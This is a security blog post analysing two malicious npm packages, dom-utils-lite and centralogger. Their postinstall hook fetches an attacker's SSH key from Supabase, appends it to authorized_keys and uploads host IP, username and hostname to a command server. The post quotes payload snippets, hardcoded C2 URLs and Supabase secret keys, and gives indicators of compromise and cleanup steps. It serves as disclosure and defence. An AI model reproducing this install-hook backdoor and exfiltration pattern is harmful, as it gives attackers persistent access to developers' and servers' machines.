---
title: "Malicious dom-utils-lite npm SSH Backdoor via Supabase"
description: "dom-utils-lite and centralogger on npm inject attacker SSH keys into ~/.ssh/authorized_keys and exfiltrate server metadata to Supabase-hosted C2 infrastructure, granting persistent remote access."
url: "https://safedep.io/blog/malicious-dom-utils-lite-npm-ssh-backdoor"
author: "Kunal Singh"
published: "2026-04-14"
---

# Malicious dom-utils-lite npm SSH Backdoor via Supabase

## TL;DR

npm account `user0001 <tanvisoul9@gmail.com>` published two malicious packages, `dom-utils-lite` and `centralogger`, with identical payloads. On `npm install`, a `postinstall` hook fetches the attacker's SSH public key from a Supabase storage bucket, appends it to `~/.ssh/authorized_keys`, harvests the victim's IP, username, and hostname, then uploads that metadata to the same Supabase project. A scheduler re-runs the chain every 60 seconds.

**Impact:**

- Writes the attacker's SSH public key into `~/.ssh/authorized_keys`
- Exfiltrates server IP, username, and hostname to attacker-controlled Supabase storage
- Re-runs every 60 seconds with exponential-backoff retry, re-injecting the key if you remove it
- Empty `catch` blocks swallow all errors

**Indicators of Compromise (IoC):**

| Indicator                | Value                                                              |
| ------------------------ | ------------------------------------------------------------------ |
| Package                  | `dom-utils-lite@1.0.0`                                             |
| Package                  | `centralogger@1.0.9` (also `1.0.5` through `1.0.8`)                |
| Maintainer               | `user0001 <tanvisoul9@gmail.com>`                                  |
| C2 (dom-utils-lite)      | `hxxps://xienztiavkygvacpqzgr[.]supabase[.]co`                     |
| C2 (centralogger)        | `hxxps://ndfcioahsbgsjmulpjgt[.]supabase[.]co`                     |
| Supabase bucket          | `project_bucket`                                                   |
| SSH key path             | `public_keys/main.pem.pub`                                         |
| Exfil path               | `logs/{ip}_{hostname}.txt`                                         |
| Postinstall              | `node setup.js`                                                    |
| SHA-256 (dom-utils-lite) | `4600db4fc30fb6ffa68deed4a25679e674bb3a3e8dae31f3dfc83bea0d757a8f` |
| SHA-256 (centralogger)   | `2e131f47090516e5a60553aa40d46823e08162390c1d6deb075cf317f00309f7` |
| Backdoor                 | Attacker's SSH key appended to `~/.ssh/authorized_keys`            |

## Analysis

### Two Packages, One Payload

| Package          | Version(s)              | Published                              | Supabase C2 project    |
| ---------------- | ----------------------- | -------------------------------------- | ---------------------- |
| `centralogger`   | `1.0.5` through `1.0.9` | April 1, 2026 (5 versions in ~7 hours) | `ndfcioahsbgsjmulpjgt` |
| `dom-utils-lite` | `1.0.0`                 | April 14, 2026                         | `xienztiavkygvacpqzgr` |

`centralogger` came first. Five versions in one day suggest the attacker was debugging the `postinstall` trigger. By `dom-utils-lite`, a single publish was enough.

Diffing the extracted tarballs shows only two files differ:

```diff
diff centralogger/package.json dom-utils-lite/package.json
<   "name": "centralogger",
<   "version": "1.0.9",
<   "description": "A simple logger for application",
---
>   "name": "dom-utils-lite",
>   "version": "1.0.0",
>   "description": "",

diff centralogger/supabaseClient.js dom-utils-lite/supabaseClient.js
< let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co"
< let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8"
---
> let SUPABASE_URL = "https://xienztiavkygvacpqzgr.supabase.co"
> let SUPABASE_KEY = "sb_secret_LbQZ91nwyeW9YXOJCm2UUQ_EzRsXhBH"
```

All other files match byte-for-byte. The attacker swapped credentials per wave so that taking down one Supabase project leaves the other operational.

### Payload

`postinstall` runs `setup.js`, which chains four operations:

```javascript
// setup.js
async function setup() {
  try {
    const publicKey = await getPublicKey(); // fetch SSH key from Supabase
    await injectKey(publicKey); // write to ~/.ssh/authorized_keys
    const server = getServerDetails(); // collect IP, username, hostname
    await uploadMetadata(server); // exfiltrate to Supabase
  } catch (err) {}
}
setup();
```

`index.js` repeats this chain every 60 seconds with exponential-backoff retry.

`injectKey.js` creates `~/.ssh/` if missing, then appends the attacker's key tagged `ssh-key-auto-sync`:

```javascript
// injectKey.js
const taggedKey = `${publicKey} ssh-key-auto-sync`;
fs.appendFileSync(authFile, '\n' + taggedKey + '\n');
```

`supabaseClient.js` holds hardcoded credentials. The SSH public key lives at `project_bucket/public_keys/main.pem.pub`, fetched at runtime so the attacker can rotate keys without republishing.

`uploadMeta.js` writes victim IP, username, hostname, and timestamp to `logs/{ip}_{hostname}.txt` with `upsert: true`. Because the 60-second scheduler overwrites this file on every tick, the attacker maintains a live roster: which machines are compromised, and when each last checked in.

### Attack Flow

```
npm install dom-utils-lite
  └─ postinstall: node setup.js
       ├─ fetchKey.js     → Downloads SSH public key from Supabase bucket
       ├─ injectKey.js    → Appends key to ~/.ssh/authorized_keys
       ├─ utils.js        → Collects IP, username, hostname
       └─ uploadMeta.js   → Uploads server metadata to Supabase bucket

  └─ index.js (if executed via npm start)
       └─ Same chain on 60-second interval with retry
```

## Dynamic Analysis

Our [eBPF-based dynamic analysis](https://safedep.io/dynamic-analysis-oss-package-at-scale/) sandbox captured three rule triggers during `npm install` of `dom-utils-lite@1.0.0`:

[dom-utils-lite-blog-DA-findings.csv](https://safedep.io/data/blogs/dom-utils-lite-blog-DA-findings.csv)

Two **"Adding ssh keys to authorized_keys"** warnings and one **"Read ssh information"** error fired at `07:54:48 UTC`, all from process chain `sh -c node setup.js` running as root. The two `openat` calls on `/root/.ssh/authorized_keys` match `injectKey.js` reading existing keys then appending the attacker's key.

## Conclusion

If you installed either package:

1. Check `~/.ssh/authorized_keys` for entries tagged `ssh-key-auto-sync` and remove them
2. Audit `~/.ssh/authorized_keys` for any unrecognized keys
3. Kill any lingering `node` processes running `index.js` from these packages
4. Review CI/CD pipelines where either package may have been installed

Any npm package from the `user0001` account should be treated as malicious. The `tanvisoul9@gmail.com` email, bucket name `project_bucket`, and path `public_keys/main.pem.pub` are useful pivot points for hunting additional packages in this campaign.

## References

- [dom-utils-lite on npm](https://www.npmjs.com/package/dom-utils-lite)
- [centralogger on npm](https://www.npmjs.com/package/centralogger)
- [Supabase Storage documentation](https://supabase.com/docs/guides/storage)
